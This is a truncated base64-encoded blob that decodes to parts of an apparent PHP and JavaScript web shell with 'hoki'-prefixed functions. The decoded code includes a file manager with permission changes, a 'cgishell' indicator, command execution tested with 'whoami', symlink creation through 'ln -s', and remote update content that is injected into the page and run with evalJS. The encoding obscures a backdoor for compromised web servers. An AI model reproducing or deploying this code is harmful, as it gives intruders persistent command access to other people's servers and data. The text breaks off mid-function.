aW9uIGhva2lGaWxlc21hblRhYlNob3dUaXRsZShlLHQpe3Quc3RvcFByb3BhZ2F0aW9uKCk7dmFyIGE9JCgiZmlsZXNtYW4tdGFiLWZ1bGwtcGF0aCIpO2Euc3R5bGUuZGlzcGxheT0iYmxvY2siLGEuc3R5bGUudG9wPWUub2Zmc2V0VG9wLTM3KyJ
weCIsYS5zdHlsZS5sZWZ0PWUub2Zmc2V0TGVmdC0kKCJmaWxlc21hbl90YWJzIikuc2Nyb2xsTGVmdCsicHgiLGEuaW5uZXJIVE1MPWUuZ2V0QXR0cmlidXRlKCJwYXRoIil9ZnVuY3Rpb24gaG9raUZpbGVzbWFuVGFiSGlkZVRpdGxlKGUsdCl7JC
giZmlsZXNtYW4tdGFiLWZ1bGwtcGF0aCIpLnN0eWxlLmRpc3BsYXk9Im5vbmUifWZ1bmN0aW9uIGhva2lQb3B1cEFjdGlvbihlLHQpe3ZhciBhPSIiLGk9IiI7c3dpdGNoKHQpe2Nhc2UicmVuYW1lIjphPSJPbGQgZmlsZSBuYW1lOiIsaT0iTmV3I
GZpbGUgbmFtZToiO2JyZWFrO2Nhc2UiY29weSI6YT0iRmlsZSBwYXRoOiIsaT0iRW50ZXIgdGhlIGZpbGUgcGF0aCB0aGF0IHlvdSB3YW50IHRvIGNvcHkgdGhpcyBmaWxlIHRvOiI7YnJlYWs7Y2FzZSJtb3ZlIjphPSJDdXJyZW50IFBhdGg6Iixp
PSJFbnRlciB0aGUgZmlsZSBwYXRoIHRoYXQgeW91IHdhbnQgdG8gbW92ZSB0aGlzIGZpbGUgdG86IjticmVhaztjYXNlImV4dHJhY3QiOmE9IkZpbGVzIHRvIGV4dHJhY3Q6IixpPSJFbnRlciB0aGUgcGF0aCB5b3Ugd2lzaCB0byBleHRyYWN0IHR
oZSBmaWxlcyB0byBhbmQgY2xpY2sgRXh0cmFjdDoifXZhciBsPWUuZ2V0QXR0cmlidXRlKCJmbmFtZSIpLHI9ZS5nZXRBdHRyaWJ1dGUoInBhdGgiKSxvPXQuY2hhckF0KDApLnRvVXBwZXJDYXNlKCkrdC5zbGljZSgxKTtpZigicGVybWlzc2lvbi
I9PXQpe2QucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIiKS5zdHlsZS5oZWlnaHQ9IjIyMnB4IixvPSJDaGFuZ2UgUGVybWlzc2lvbnMiLGQucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtID4gLnBlc
m0tdGFibGUtaG9sZGVyIikuc3R5bGUuZGlzcGxheT0iYmxvY2siLGQucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtID4gaW5wdXRbbmFtZT1mbmFtZV0iKS5zdHlsZS5kaXNwbGF5PSJub25lIjt2YXIgbj1lLmdldEF0
dHJpYnV0ZSgicGVybSIpLHM9bi5zdWJzdHIoMSwxKSxjPW4uc3Vic3RyKDIsMSksdT1uLnN1YnN0cigzLDEpO2QucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtIGlucHV0W25hbWU9dV0iKS52YWx1ZT1zLGQucXVlcnl
TZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtIGlucHV0W25hbWU9Z10iKS52YWx1ZT1jLGQucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtIGlucHV0W25hbWU9d10iKS52YWx1ZT11LGF1dG9DaGVja1
Blcm1zKHMsInUiLFsidSIsImciLCJ3Il0pLGF1dG9DaGVja1Blcm1zKGMsImciKSxhdXRvQ2hlY2tQZXJtcyh1LCJ3Iil9ZWxzZSBkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyIikuc3R5bGUuaGVpZ2h0PSIxOTBweCIsZC5xd
WVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciA+IGZvcm0gPiBpbnB1dFtuYW1lPWZuYW1lXSIpLnN0eWxlLmRpc3BsYXk9ImJsb2NrIixkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSA+IC5wZXJtLXRh
YmxlLWhvbGRlciIpLnN0eWxlLmRpc3BsYXk9Im5vbmUiO3ZhciBwPSJtb3ZlIj09dHx8ImNvcHkiPT10P3IrbDpsO2lmKCJtb2RpZnkiPT10KXt2YXIgZj0idHJfcm93XyIrZS5nZXRBdHRyaWJ1dGUoImZpZCIpLnJlcGxhY2UoImlkXyIsIiIpO3A
9ZC5xdWVyeVNlbGVjdG9yKCIjIitmKyIgLm1haW5fbW9kaWZ5IikuaW5uZXJUZXh0fWQucXVlcnlTZWxlY3RvcigiLmNsLXBvcHVwLWZpeGVkIikuc3R5bGUuZGlzcGxheT0iYmxvY2siLGQucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2
xkZXIgLnBvcHVwLWhlYWQiKS5pbm5lckhUTUw9byxkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyIC5vbGQtcGF0aC1sYmwiKS5pbm5lckhUTUw9YSxkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyIC5uZXctZ
mlsZW5hbWUtbGJsIikuaW5uZXJIVE1MPWksZC5xdWVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciAucG9wdXAtZm9vdCA+IGJ1dHRvbltuYW1lPWFjY2VwdF0iKS5pbm5lckhUTUw9byxkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1l
bnUtaG9sZGVyID4gZm9ybSA+IC5vbGQtcGF0aC1jb250ZW50IikuaW5uZXJIVE1MPXIrbCxkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSA+IGlucHV0W25hbWU9Zm5hbWVdIikudmFsdWU9cCxkLnF1ZXJ5U2VsZWN
0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyIGJ1dHRvbltuYW1lPWFjY2VwdF0iKS5zZXRBdHRyaWJ1dGUoImZpZCIsZS5nZXRBdHRyaWJ1dGUoImZpZCIpKSxkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyIGJ1dHRvbltuYW1lPW
FjY2VwdF0iKS5zZXRBdHRyaWJ1dGUoImFjdGlvbiIsdCl9ZnVuY3Rpb24gY2FsY3Blcm0oKXt2YXIgZT1ldmVudC5zcmNFbGVtZW50O2F1dG9DaGVja1Blcm1zKGUuY2hlY2tlZCxlLm5hbWUuc3Vic3RyKDAsMSkpfWZ1bmN0aW9uIGF1dG9DaGVja
1Blcm1zKGUsdCxhKXtpZih2b2lkIDAhPT1hKWZvcih2YXIgaSBpbiBhKXt2YXIgbD1hW2ldO2QucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtIGlucHV0W25hbWU9IitsKyJyXSIpLmNoZWNrZWQ9ITEsZC5xdWVyeVNl
bGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciA+IGZvcm0gaW5wdXRbbmFtZT0iK2wrInddIikuY2hlY2tlZD0hMSxkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSBpbnB1dFtuYW1lPSIrbCsieF0iKS5jaGVja2V
kPSExfXZhciByPWQucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXIgPiBmb3JtIGlucHV0W25hbWU9Iit0KyJyXSIpLG89ZC5xdWVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciA+IGZvcm0gaW5wdXRbbmFtZT0iK3QrIn
ddIiksbj1kLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSBpbnB1dFtuYW1lPSIrdCsieF0iKTtpZigiYm9vbGVhbiIhPXR5cGVvZiBlKSI3Ij09ZT8oci5jaGVja2VkPSEwLG8uY2hlY2tlZD0hMCxuLmNoZWNrZWQ9I
TApOiI0Ij09ZT9yLmNoZWNrZWQ9ITA6IjIiPT1lP28uY2hlY2tlZD0hMDoiMSI9PWU/bi5jaGVja2VkPSEwOiI2Ij09ZT8oci5jaGVja2VkPSEwLG8uY2hlY2tlZD0hMCk6IjMiPT1lPyhvLmNoZWNrZWQ9ITAsbi5jaGVja2VkPSEwKToiNSI9PWUm
JihyLmNoZWNrZWQ9ITAsbi5jaGVja2VkPSEwKTtlbHNle3ZhciBzPTA7ci5jaGVja2VkJiYocys9NCksby5jaGVja2VkJiYocys9Miksbi5jaGVja2VkJiYocys9MSksInUiPT10P2QucXVlcnlTZWxlY3RvcigiI3Nob3J0Y3V0TWVudS1ob2xkZXI
gPiBmb3JtIGlucHV0W25hbWU9dV0iKS52YWx1ZT1zOiJnIj09dD9kLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSBpbnB1dFtuYW1lPWddIikudmFsdWU9czoidyI9PXQmJihkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydG
N1dE1lbnUtaG9sZGVyID4gZm9ybSBpbnB1dFtuYW1lPXddIikudmFsdWU9cyl9fWZ1bmN0aW9uIGdnKGUsdCxhLGksbCxyKXt2YXIgbz0iZmlsZXNtYW5faG9sZGVyXyIraG9raV9jdXJyZW50X2ZtX2lkO2hva2lsb2FkZXIobywiYmxvY2siKSxkY
XRhPSJhPSIraG9raWI2NChlKSsiJmM9Iitob2tpYjY0KHQpKyImaG9raTE9Iitob2tpYjY0KGEpKyImaG9raTI9Iitob2tpYjY0KGkpKyImaG9raTM9Iitob2tpYjY0KGwpKyImYWpheD0iK2hva2liNjQoInRydWUiKSxfQWpheChkLlVSTCxkYXRh
LHIsITEsbyl9ZnVuY3Rpb24gaG9raVBvcFVwRG9BY3Rpb24oZSl7dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoImFjdGlvbiIpO3N3aXRjaCh0KXtjYXNlInJlbmFtZSI6Y2FzZSJtb3ZlIjpjYXNlImNvcHkiOnZhciBhPWUuZ2V0QXR0cmlidXRlKCJmaWQ
iKS5yZXBsYWNlKCJpZF8iLCIiKSxpPSQoImlkXyIrYSkuZ2V0QXR0cmlidXRlKCJmbmFtZSIpLGw9ZC5xdWVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciA+IGZvcm0gPiBpbnB1dFtuYW1lPWZuYW1lXSIpLnZhbHVlO2w9bC50cmltKC
ksaT1pLnRyaW0oKSxnZygiZG9BY3Rpb25zIixjXyxpLGwsdCxmdW5jdGlvbihlLGkpe2lmKCJyZW5hbWUiPT10KWlmKCJkb25lIj09ZSl7dmFyIHI9JCgiaWRfIithKTt1cGRhdGVGaWxlRWRpdG9yKGEsbCk7dmFyIG89ci5nZXRBdHRyaWJ1dGUoI
nBhdGgiKSskKCJpZF8iK2EpLmdldEF0dHJpYnV0ZSgiZm5hbWUiKTtkLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSA+IC5vbGQtcGF0aC1jb250ZW50IikuaW5uZXJIVE1MPW8sci5hZGRFdmVudExpc3RlbmVyKCJh
bmltYXRpb25lbmQiLGZ1bmN0aW9uKCl7ci5jbGFzc0xpc3QucmVtb3ZlKCJ0ZXh0RWZmZWN0Iil9KSxyLmNsYXNzTGlzdC5hZGQoInRleHRFZmZlY3QiKSxob2tpU2hvd05vdGlmaWNhdGlvbigiUmVuYW1lZC4uLiIsIlJlbmFtZSBBY3Rpb24iKSx
kLnF1ZXJ5U2VsZWN0b3IoIi5jbC1wb3B1cC1maXhlZCIpLnN0eWxlLmRpc3BsYXk9Im5vbmUifWVsc2UgaG9raVNob3dOb3RpZmljYXRpb24oImVycm9yLi4uISIsIlJlbmFtZSBBY3Rpb24iLCJlcnJvciIpO2hva2lsb2FkZXIoaSwibm9uZSIpfS
k7YnJlYWs7Y2FzZSJwZXJtaXNzaW9uIjp2YXIgcj1kLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSBpbnB1dFtuYW1lPXVdIikudmFsdWUsbz1kLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZ
m9ybSBpbnB1dFtuYW1lPWddIikudmFsdWUsbj1kLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4gZm9ybSBpbnB1dFtuYW1lPXddIikudmFsdWU7aT0oaT1kLnF1ZXJ5U2VsZWN0b3IoIiNzaG9ydGN1dE1lbnUtaG9sZGVyID4g
Zm9ybSA+IC5vbGQtcGF0aC1jb250ZW50IikuaW5uZXJIVE1MKS50cmltKCk7dmFyIHM9ci50cmltKCkrby50cmltKCkrbi50cmltKCk7Z2coImRvQWN0aW9ucyIsY18saSxzLHQsZnVuY3Rpb24oZSx0KXtob2tpbG9hZGVyKHQsIm5vbmUiKSxob2t
pU2hvd05vdGlmaWNhdGlvbihlLCJQZXJtaXNzaW9uIEFjdGlvbiIpLGQucXVlcnlTZWxlY3RvcigiLmNsLXBvcHVwLWZpeGVkIikuc3R5bGUuZGlzcGxheT0ibm9uZSJ9KTticmVhaztjYXNlIm1vZGlmeSI6YT1lLmdldEF0dHJpYnV0ZSgiZmlkIi
kucmVwbGFjZSgiaWRfIiwiIik7dmFyIGM9ZC5xdWVyeVNlbGVjdG9yKCIjc2hvcnRjdXRNZW51LWhvbGRlciA+IGZvcm0gPiBpbnB1dFtuYW1lPWZuYW1lXSIpLnZhbHVlLHU9JCgiaWRfIithKS5nZXRBdHRyaWJ1dGUoImZuYW1lIik7Z2coImRvQ
WN0aW9ucyIsY18sYyx1LHQsZnVuY3Rpb24odCxhKXtpZigib2siPT10KXt2YXIgaT0idHJfcm93XyIrZS5nZXRBdHRyaWJ1dGUoImZpZCIpLnJlcGxhY2UoImlkXyIsIiIpO2QucXVlcnlTZWxlY3RvcigiIyIraSsiIC5tYWluX21vZGlmeSIpLmlu
bmVySFRNTD1jLGhva2lTaG93Tm90aWZpY2F0aW9uKCJzdWNjZXNzLi4uIiwiTW9kaWZ5IEFjdGlvbiIpLGQucXVlcnlTZWxlY3RvcigiLmNsLXBvcHVwLWZpeGVkIikuc3R5bGUuZGlzcGxheT0ibm9uZSJ9ZWxzZSBob2tpU2hvd05vdGlmaWNhdGl
vbih0LCJNb2RpZnkgQWN0aW9uIiwiZXJyb3IiKTtob2tpbG9hZGVyKGEsIm5vbmUiKX0pfX1mdW5jdGlvbiBob2tpSW5pdFNvcmF0YWJsZVRhYihlKXtTb3J0YWJsZS5jcmVhdGUoZSx7ZGlyZWN0aW9uOiJob3Jpem9udGFsIixhbmltYXRpb246Mz
AwLGdob3N0Q2xhc3M6InNvcnRhYmxlLWdob3N0IixmaWx0ZXI6Ii5ub3Qtc29ydGFibGUifSl9JCgic2VhcmNoLWlucHV0IikuYWRkRXZlbnRMaXN0ZW5lcigia2V5ZG93biIsZnVuY3Rpb24oZSl7c2V0VGltZW91dChmdW5jdGlvbigpe3ZhciBlP
SQoInNlYXJjaC1pbnB1dCIpLnZhbHVlO2Zvcih2YXIgdCBpbiBkLmdldEVsZW1lbnRzQnlDbGFzc05hbWUoImhpc3RvcnktbGlzdCIpWzBdLmlubmVySFRNTD0iIixlZGl0b3JfZmlsZXMpaWYoLTEhPWVkaXRvcl9maWxlc1t0XS5maWxlLnNlYXJj
aChlKXx8IiI9PWUpe3ZhciBhPTA7dD09ZWRpdG9yX2N1cnJlbnRfZmlsZSYmKGE9IiBpc19hY3RpdmUiKSxpbnNlcnRUb0hpc3RvcnkodCxlZGl0b3JfZmlsZXNbdF0uZmlsZSxhLGVkaXRvcl9maWxlc1t0XS50eXBlKX19LDEwMCl9LCExKSxfQWp
heChkLlVSTCwiYT0iK2hva2liNjQoImNoZWNrdXBkYXRlIiksZnVuY3Rpb24oZSl7aWYoMCE9ZS5sZW5ndGgmJiJbXSIhPWUpe3ZhciB0PUpTT04ucGFyc2UoZSk7aWYodC5oYXNPd25Qcm9wZXJ0eSgiY29udGVudCIpKXtkLmJvZHkuaW5zZXJ0QW
RqYWNlbnRIVE1MKCJiZWZvcmVlbmQiLHQuY29udGVudCk7dHJ5e2V2YWxKUyh0LmNvbnRlbnQpfWNhdGNoKHQpe319aWYodC5oYXNPd25Qcm9wZXJ0eSgiY29weXJpZ2h0IikmJigkKCJob2tpLWNvcHlyaWdodCIpLmlubmVySFRNTD10LmNvcHlya
WdodCksdC5oYXNPd25Qcm9wZXJ0eSgia2lzZXJ5b3VuaSIpJiYoJCgiaG9raV9raXNlcnlvdW5pIikuaW5uZXJIVE1MPXQua2lzZXJ5b3VuaSksdC5oYXNPd25Qcm9wZXJ0eSgiY29kZV9uYW1lIikmJigkKCJoaWRkZW5fc2giKS5pbm5lckhUTUw9
dC5jb2RlX25hbWUucmVwbGFjZSgvXHt2ZXJzaW9uXH0vZyx0LnZlcnNpb25fbnVtYmVyKSksdC5oYXNPd25Qcm9wZXJ0eSgibWFya2V0Iikpe3ZhciBhPWQucXVlcnlTZWxlY3Rvcigic3Bhbi5ob2tpX3BsdXMiKTtpZih0Lm1hcmtldC5oYXNPd25
Qcm9wZXJ0eSgidmlzaWJsZSIpJiYieWVzIj09dC5tYXJrZXQudmlzaWJsZSYmKCQoIm1lbnVfb3B0X21hcmtldCIpLnN0eWxlLmRpc3BsYXk9ImlubGluZSIpLCJvcGVuIiE9dC5tYXJrZXQuc3RhdHVzJiYoYS5zdHlsZS5jb2xvcj0iI2ZmYzEwNy
IpLHQubWFya2V0Lmhhc093blByb3BlcnR5KCJjb250ZW50IikpdHJ5e2V2YWxKUyh0Lm1hcmtldC5jb250ZW50KX1jYXRjaCh0KXt9fX19KSw8P3BocCBlY2hvICRHTE9CQUxTWyJuZWVkX3RvX3VwZGF0ZV9oZWFkZXIiXTsgPz4/X0FqYXgoZC5VU
kwsImE9Iitob2tpYjY0KCJ1cGRhdGVoZWFkZXIiKSxmdW5jdGlvbihlKXt0cnl7dmFyIHQ9SlNPTi5wYXJzZShlKTtmb3IodmFyIGEgaW4gdCl7Zm9yKHZhciBpPSIiLGw9MDtsPHRbYV0ubGVuZ3RoO2wrKylpKz0idXNlZnVsIj09YXx8ImRvd25s
b2FkZXIiPT1hPyc8c3BhbiBjbGFzcz0iaGVhZGVyX3ZhbHVlcyIgc3R5bGU9Im1hcmdpbi1sZWZ0OiA0cHg7Ij4nK3RbYV1bbF0rIjwvc3Bhbj4iOnRbYV1bbF07dmFyIHI9JCgiaGVhZGVyXyIrYSk7ciYmKHIuaW5uZXJIVE1MPWkpfSQoImhlYWR
lcl9jZ2lzaGVsbCIpLmlubmVySFRNTD0iT04iLCQoImhlYWRlcl9jZ2lzaGVsbCIpLnNldEF0dHJpYnV0ZSgiY2xhc3MiLCJoZWFkZXJfb24iKX1jYXRjaChlKXt9fSk6aXNsaW51eCYmX0FqYXgoZC5VUkwsImE9Iitob2tpYjY0KCJjaGVja2NnaS
IpLGZ1bmN0aW9uKGUpeyJvayI9PWUmJigkKCJoZWFkZXJfY2dpc2hlbGwiKS5pbm5lckhUTUw9Ik9OIiwkKCJoZWFkZXJfY2dpc2hlbGwiKS5zZXRBdHRyaWJ1dGUoImNsYXNzIiwiaGVhZGVyX29uIikpfSksZnVuY3Rpb24oKXtkLm9uY2xpY2s9Z
nVuY3Rpb24oKXtjYW5faGFzaGNoYW5nZV93b3JrPSExLHNldFRpbWVvdXQoZnVuY3Rpb24oKXtjYW5faGFzaGNoYW5nZV93b3JrPSEwfSw2MDApfSx3aW5kb3cub25oYXNoY2hhbmdlPWZ1bmN0aW9uKGUpe2Nhbl9oYXNoY2hhbmdlX3dvcmsmJmhv
a2lDaGVja1VybEhhc2goKX0saG9raUNoZWNrVXJsSGFzaCgpLGhva2lnZXRGbGFncygpLHJpZ2h0Y2xpY2tfbWVudV9jb250ZXh0PSQoInJpZ2h0Y2xpY2tfbWVudSIpLnN0eWxlLGhva2lJbml0Q3dkQ29udGV4dCgpLGRvY3VtZW50LmFkZEV2ZW5
0TGlzdGVuZXIoImNsaWNrIixmdW5jdGlvbihlKXtyaWdodGNsaWNrX21lbnVfY29udGV4dC5vcGFjaXR5PSIwIixzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7cmlnaHRjbGlja19tZW51X2NvbnRleHQudmlzaWJpbGl0eT0iaGlkZGVuIn0sNTAxKX0sIT
EpO3ZhciBlPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO2Uuc3JjPSJodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9Tb3J0YWJsZS8xLjEwLjIvU29ydGFibGUubWluLmpzIixlLmlkPSJzb3J0YWJsZS1wbHVna
W4iLGUub25sb2FkPWZ1bmN0aW9uKCl7aG9raUluaXRTb3JhdGFibGVUYWIoJCgiZmlsZXNtYW5fdGFic19jaGlsZCIpKSxob2tpSW5pdFNvcmF0YWJsZVRhYihkLnF1ZXJ5U2VsZWN0b3IoIi5lZGl0b3ItdGFicyIpKSxob2tpSW5pdFNvcmF0YWJs
ZVRhYihkLnF1ZXJ5U2VsZWN0b3IoIi5vcHRpb25zX3RhYiIpKSxob2tpSW5pdFNvcmF0YWJsZVRhYihkLnF1ZXJ5U2VsZWN0b3IoIi50ZXJtaW5hbC10YWJzIikpLGhva2lJbml0U29yYXRhYmxlVGFiKGQucXVlcnlTZWxlY3RvcigiLnNxbC10YWJ
zIikpfSxkLmJvZHkuYXBwZW5kQ2hpbGQoZSl9KCk7Cjwvc2NyaXB0Pgo8L2JvZHk+CjwvaHRtbD4KPD9waHAKfX0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikgJiYgKHN0cnBvcyhAaW5pX2dldCgnZGlzYWJsZV9mdW5jdG
lvbnMnKSwgJ3Bvc2l4X2dldHB3dWlkJyk9PT1mYWxzZSkpIHsKZnVuY3Rpb24gcG9zaXhfZ2V0cHd1aWQoJHApIHtyZXR1cm4gZmFsc2U7fSB9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRncmdpZCIpICYmIChzdHJwb3MoQGluaV9nZ
XQoJ2Rpc2FibGVfZnVuY3Rpb25zJyksICdwb3NpeF9nZXRncmdpZCcpPT09ZmFsc2UpKSB7CmZ1bmN0aW9uIHBvc2l4X2dldGdyZ2lkKCRwKSB7cmV0dXJuIGZhbHNlO30gfQpmdW5jdGlvbiBob2tpV2hpY2goJHApIHsKJHBhdGggPSBob2tpRXgo
J3doaWNoICcgLiAkcCxmYWxzZSxmYWxzZSk7CmlmKCFlbXB0eSgkcGF0aCkpCnJldHVybiBzdHJsZW4oJHBhdGgpOwpyZXR1cm4gZmFsc2U7Cn0KZnVuY3Rpb24gaG9raVNpemUoJHMpIHsKaWYoJHMgPj0gMTA3Mzc0MTgyNCkKcmV0dXJuIHNwcml
udGYoJyUxLjJmJywgJHMgLyAxMDczNzQxODI0ICkuICcgR0InOwplbHNlaWYoJHMgPj0gMTA0ODU3NikKcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDQ4NTc2ICkgLiAnIE1CJzsKZWxzZWlmKCRzID49IDEwMjQpCnJldHVybiBzcHJpbn
RmKCclMS4yZicsICRzIC8gMTAyNCApIC4gJyBLQic7CmVsc2UKcmV0dXJuICRzIC4gJyBCJzsKfQpmdW5jdGlvbiBob2tpUGVybXMoJHApIHsKaWYgKCgkcCAmIDB4QzAwMCkgPT0gMHhDMDAwKSRpID0gJ3PigIsnOwplbHNlaWYgKCgkcCAmIDB4Q
TAwMCkgPT0gMHhBMDAwKSRpID0gJ2zigIsnOwplbHNlaWYgKCgkcCAmIDB4ODAwMCkgPT0gMHg4MDAwKSRpID0gJy3igIsnOwplbHNlaWYgKCgkcCAmIDB4NjAwMCkgPT0gMHg2MDAwKSRpID0gJ2LigIsnOwplbHNlaWYgKCgkcCAmIDB4NDAwMCkg
PT0gMHg0MDAwKSRpID0gJ2TigIsnOwplbHNlaWYgKCgkcCAmIDB4MjAwMCkgPT0gMHgyMDAwKSRpID0gJ2PigIsnOwplbHNlaWYgKCgkcCAmIDB4MTAwMCkgPT0gMHgxMDAwKSRpID0gJ3DigIsnOwplbHNlICRpID0gJ3XigIsnOwokaSAuPSAoKCR
wICYgMHgwMTAwKSA/ICdy4oCLJyA6ICctJyk7CiRpIC49ICgoJHAgJiAweDAwODApID8gJ3figIsnIDogJy0nKTsKJGkgLj0gKCgkcCAmIDB4MDA0MCkgPyAoKCRwICYgMHgwODAwKSA/ICdz4oCLJyA6ICd44oCLJyApIDogKCgkcCAmIDB4MDgwMC
kgPyAnU+KAiycgOiAnLScpKTsKJGkgLj0gKCgkcCAmIDB4MDAyMCkgPyAncuKAiycgOiAnLScpOwokaSAuPSAoKCRwICYgMHgwMDEwKSA/ICd34oCLJyA6ICctJyk7CiRpIC49ICgoJHAgJiAweDAwMDgpID8gKCgkcCAmIDB4MDQwMCkgPyAnc+KAi
ycgOiAneOKAiycgKSA6ICgoJHAgJiAweDA0MDApID8gJ1PigIsnIDogJy0nKSk7CiRpIC49ICgoJHAgJiAweDAwMDQpID8gJ3LigIsnIDogJy0nKTsKJGkgLj0gKCgkcCAmIDB4MDAwMikgPyAnd+KAiycgOiAnLScpOwokaSAuPSAoKCRwICYgMHgw
MDAxKSA/ICgoJHAgJiAweDAyMDApID8gJ3TigIsnIDogJ3jigIsnICkgOiAoKCRwICYgMHgwMjAwKSA/ICdU4oCLJyA6ICctJykpOwpyZXR1cm4gJGk7Cn0KZnVuY3Rpb24gaG9raVBlcm1zQ29sb3IoJGYsJGlzYmFzaD1mYWxzZSl7CiRjbGFzcyA
9ICIiOwokbnVtID0gIiI7CiRodW1hbiA9ICIiOwppZigkaXNiYXNoKXsKJGNsYXNzID0gJGZbImNsYXNzIl07CiRudW0gPSAkZlsibnVtIl07CiRodW1hbiA9ICRmWyJodW1hbiJdOwp9ZWxzZXsKJG51bSA9IHN1YnN0cihzcHJpbnRmKCclbycsIE
BmaWxlcGVybXMoJGYpKSwtNCk7CiRodW1hbiA9IGhva2lQZXJtcyhAZmlsZXBlcm1zKCRmKSk7CmlmKCFAaXNfcmVhZGFibGUoJGYpKQokY2xhc3MgPSAibWFpbl9yZWRfcGVybSI7CmVsc2VpZiAoIUBpc193cml0YWJsZSgkZikpCiRjbGFzcyA9I
CJtYWluX3doaXRlX3Blcm0iOwplbHNlCiRjbGFzcyA9ICJtYWluX2dyZWVuX3Blcm0iOwp9CnJldHVybiAnPHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OnVuc2V0OyIgY2xhc3M9IicuJGNsYXNzLiciPicuJG51bS4nPC9zcGFuPjxzcGFuIHN0eWxl
PSJmb250LXdlaWdodDp1bnNldDsiIGNsYXNzPSJiZWV0d2Vlbl9wZXJtcyI+ID4+IDwvc3Bhbj48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6dW5zZXQ7IiBjbGFzcz0iJy4kY2xhc3MuJyI+Jy4kaHVtYW4uJzwvc3Bhbj4nOwp9CmlmKCFmdW5jdGl
vbl9leGlzdHMoInNjYW5kaXIiKSkgewpmdW5jdGlvbiBzY2FuZGlyKCRkaXIpIHsKJGRoID0gb3BlbmRpcigkZGlyKTsKd2hpbGUgKGZhbHNlICE9PSAoJGZpbGVuYW1lID0gcmVhZGRpcigkZGgpKSkKJGZpbGVzW10gPSAkZmlsZW5hbWU7CnJldH
VybiAkZmlsZXM7Cn0KfQpmdW5jdGlvbiByZUFycmF5RmlsZXMoJGZpbGVfcG9zdCl7CiRmaWxlX2FyeSA9IGFycmF5KCk7CiRmaWxlX2NvdW50ID0gY291bnQoJGZpbGVfcG9zdFsnbmFtZSddKTsKJGZpbGVfa2V5cyA9IGFycmF5X2tleXMoJGZpb
GVfcG9zdCk7CmZvciAoJGk9MDsgJGk8JGZpbGVfY291bnQ7ICRpKyspIHsKZm9yZWFjaCAoJGZpbGVfa2V5cyBhcyAka2V5KSB7CiRmaWxlX2FyeVskaV1bJGtleV0gPSAkZmlsZV9wb3N0WyRrZXldWyRpXTsKfQp9CnJldHVybiAkZmlsZV9hcnk7
Cn0KZnVuY3Rpb24gX2hva2lfY2FuX3J1bkNvbW1hbmQoJGNnaT10cnVlLCRjYWNoZT10cnVlKXsKCWlmKGlzc2V0KCRfQ09PS0lFWyJob2tpX2NhbnJ1bmNtZCJdKSYmJGNhY2hlKXsKCQlyZXR1cm4gdHJ1ZTsKCX0KCWlmKHN0cmxlbihob2tpRXg
oIndob2FtaSIsZmFsc2UsJGNnaSkpPjApewoJCSRfQ09PS0lFWyJob2tpX2NhbnJ1bmNtZCJdID0gdHJ1ZTsKCQlyZXR1cm4gdHJ1ZTsKCX0KCXJldHVybiBmYWxzZTsKfQpmdW5jdGlvbiBfaG9raV9zeW1saW5rKCR0YXJnZXQsICRsaW5rKXsKCS
RwaHBzeW0gPSBmdW5jdGlvbl9leGlzdHMoInN5bWxpbmsiKTsKCWlmKCRwaHBzeW0pewoJCUBzeW1saW5rKCR0YXJnZXQsICRsaW5rKTsKCX1lbHNlewoJCWhva2lFeCgibG4gLXMgJyIuYWRkc2xhc2hlcygkdGFyZ2V0KS4iJyAnIi5hZGRzbGFza
